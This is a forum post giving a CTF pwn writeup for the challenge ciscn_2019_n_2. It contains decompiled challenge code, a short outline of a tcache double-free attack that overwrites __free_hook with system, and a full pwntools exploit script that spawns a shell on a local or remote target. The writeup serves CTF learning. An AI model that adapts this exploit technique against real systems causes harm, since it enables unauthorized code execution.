查看: 204|回复: 0

[Pwn] 2019_pwn_ciscn_2019_n_2 writeup by kone

[复制链接]

6

主题

9

帖子

1

精华

VIP

Rank: 16

学币
176
荣耀
0
rank
95
违规
0
发表于 2020-11-24 14:29:25 | 显示全部楼层 |阅读模式

相关题目:

♦ n-2

思路:
deleteUser存在double free漏洞;

1.malloc 1次后,free 2次,再重新malloc;
2.然后修改fd指针,指向bss段的chunkList,构造fake chunk,实现任意地址写;
3.输出free got地址后,获取libc地址;
4.设置__free_hook内容为system()函数地址;
5.尝试调用free("/bin/sh"),实际上是调用system("/bin/sh"),从而拿到shell。


注意:
1.tcache直接free 2次就可以,并没有做检查(高版本glibc会检查double free);
2.因为开启了Full RELRO,所以无法修改GOT表;


EXP:
#-*- coding:utf-8 -*-
"""
// ciscn_2019_pwn_n-2 https://www.xuenixiang.com/ctfexercise-competition-417.html
int dispMenu()
{
  puts("$$$$$$$");
  puts("$       Baby Tcache       $");
  puts("$$$$$$$");
  puts("$   1. Create user        $");
  puts("$   2. Delete user        $ ");
  puts("$   3. Edit user          $ ");
  puts("$   4. Display user       $ ");
  puts("$   5. Add money          $ ");
  puts("$   6. Buy gift           $ ");
  puts("$   7. Exit               $ ");
  puts("$$$$$$$");
  return printf("Your choice: ");
}

int createUser()
{
  __int64 v1; // rbx
  unsigned int v2; // [rsp+8h] [rbp-18h]
  signed int i; // [rsp+Ch] [rbp-14h]

  for ( i = 0; i <= 2; ++i )
  {
    if ( !LODWORD(chunkList[2 * i + 1]) )
    {
      v2 = i;
      break;
    }
    if ( i == 2 )
      return MEMORY[0x400828](":(");
  }
  chunkList[2 * (signed int)v2] = malloc(0x18uLL);
  printf("name:");
  myRead((void *)chunkList[2 * (signed int)v2], 8);
  printf("age:", 8LL);
  v1 = chunkList[2 * (signed int)v2];
  *(_QWORD *)(v1 + 16) = readNum();
  *(_QWORD *)(chunkList[2 * (signed int)v2] + 8LL) = 0LL;
  LODWORD(chunkList[2 * (signed int)v2 + 1]) = 1;
  return printf("idx: %d\n", v2);
}

int deleteUser()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  printf("Index:");
  v1 = readNum();
  if ( v1 > 2 || v1 < 0 )
    exit(1);
  if ( !chunkList[2 * v1] )
    return puts(":(");
  free((void *)chunkList[2 * v1]);
  LODWORD(chunkList[2 * v1 + 1]) = 0;
  return puts(":)");
}

int editUser()
{
  const char *v0; // rbx
  signed int v2; // [rsp+Ch] [rbp-14h]

  printf("Index:");
  v2 = readNum();
  if ( v2 > 2 || v2 < 0 )
    exit(1);
  if ( !chunkList[2 * v2] || !LODWORD(chunkList[2 * v2 + 1]) )
    return puts(":(");
  printf("name:");
  myRead(chunkList[2 * v2], 8LL);
  printf("age:");
  v0 = chunkList[2 * v2];
  *((_QWORD *)v0 + 2) = readNum();
  return puts(":)");
}

int printUser()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  printf("Index:");
  v1 = readNum();
  if ( v1 > 3 || v1 < 0 )
    exit(1);
  if ( !chunkList[2 * v1] || !LODWORD(chunkList[2 * v1 + 1]) )
    return puts(":(");
  puts("------------------------");
  printf("name: ");
  puts(chunkList[2 * v1]);
  printf("age: %lld\nmoney: %lld\n", *((_QWORD *)chunkList[2 * v1] + 2), *((_QWORD *)chunkList[2 * v1] + 1));
  puts("------------------------");
  return puts(":)");
}

int addMoney()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  printf("Index:");
  v1 = readNum();
  if ( v1 > 2 || v1 < 0 )
    exit(1);
  if ( !chunkList[2 * v1] )
    return puts(":(");
  ++*((_QWORD *)chunkList[2 * v1] + 1);
  return puts(":)");
}

int buyGift()
{
  int v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  printf("Index:");
  v2 = readNum();
  if ( v2 > 2 || v2 < 0 )
    exit(1);
  if ( !chunkList[2 * v2] || *((_QWORD *)chunkList[2 * v2] + 1) <= 0x100000LL )
    return puts(":(");
  printf("input the address you want to leak:");
  _isoc99_scanf("%p", &buf);
  printf("input the size you want to leak:");
  _isoc99_scanf("%d", &v1);
  printf("data:[[[");
  write(1, buf, v1);
  puts("]]]\n");
  return puts(":)");
}

// name (8Byte) 
// money (8Byte)
// age(8Byte)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+8h] [rbp-8h]

  initIO(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            while ( 1 )
            {
              while ( 1 )
              {
                dispMenu();
                v4 = readNum();
                if ( v4 != 1 )
                  break;
                createUser();
              }
              if ( v4 != 2 )
                break;
              deleteUser();
            }
            if ( v4 != 3 )
              break;
            editUser();
          }
          if ( v4 != 4 )
            break;
          printUser();
        }
        if ( v4 != 5 )
          break;
        addMoney();
      }
      if ( v4 != 6 )
        break;
      buyGift();
    }
    if ( v4 == 7 )
      break;
    puts("Invalid Choice");
  }
  return 0;
}

ssize_t __fastcall myRead(void *a1, int a2)
{
  return read(0, a1, a2);
}

__int64 readNum()
{
  __int64 result; // rax
  __int64 v1; // rdx
  unsigned __int64 v2; // rt1
  char nptr; // [rsp+0h] [rbp-20h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  myRead(&nptr, 16LL);
  result = atoll(&nptr);
  v2 = __readfsqword(0x28u);
  v1 = v2 ^ v4;
  if ( v2 != v4 )
    __stack_chk_fail(&nptr, 16LL, v1);
  return result;
}
"""

from pwn import *
from LibcSearcher import *
import sys

context(os="linux", log_level="debug")

if len(sys.argv) == 2:
        p = process(sys.argv[1])
elif len(sys.argv) == 3:
        p = remote(sys.argv[1], sys.argv[2])
else:
    print("Usage: exp.py [./a.out | 1.1.1.1 23456]")
    exit(1)

def create(name, age):
    p.sendlineafter("Your choice: ", "1")
    p.sendafter("name:", name)
    p.sendlineafter("age:", str(age))

def edit(idx, name, age):
    p.sendlineafter("Your choice: ", "3")
    p.sendlineafter("Index:", str(idx)) 
    p.sendafter("name:", name)
    p.sendlineafter("age:", str(age))

def delete(idx):
    p.sendlineafter("Your choice: ", "2")
    p.sendlineafter("Index:", str(idx)) 

def show(idx):
    p.sendlineafter("Your choice: ", "4")
    p.sendlineafter("Index:", str(idx)) 

def addm(idx):
    p.sendlineafter("Your choice: ", "5")
    p.sendlineafter("Index:", str(idx))  

chunklist_addr = 0x602060
free_got = 0x601f88

create('a', 1) # 0
delete(0)
delete(0)

create(p64(chunklist_addr), 1) # 0
create(p64(chunklist_addr), 1) # 1
create(p64(free_got), 1) # 2

addm(2)

show(0)

p.recvuntil("name: ")
free_addr = u64(p.recvline(keepends=False).ljust(8, '\x00'))
print(hex(free_addr))
p.recvuntil(":)\n")

libc = LibcSearcher("free", free_addr)
libc_base = free_addr - libc.dump("free")
system_addr = libc_base + libc.dump("system")
free_hook = libc_base + libc.dump("__free_hook")

edit(2, p64(free_hook), 1)
edit(0, p64(system_addr), 1)

edit(2, "/bin/sh\x00", 1)

delete(2)

p.interactive()


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
学逆向论坛-免费的逆向学习论坛
微信扫一扫即可使用手机论坛
快速回复 返回顶部 返回列表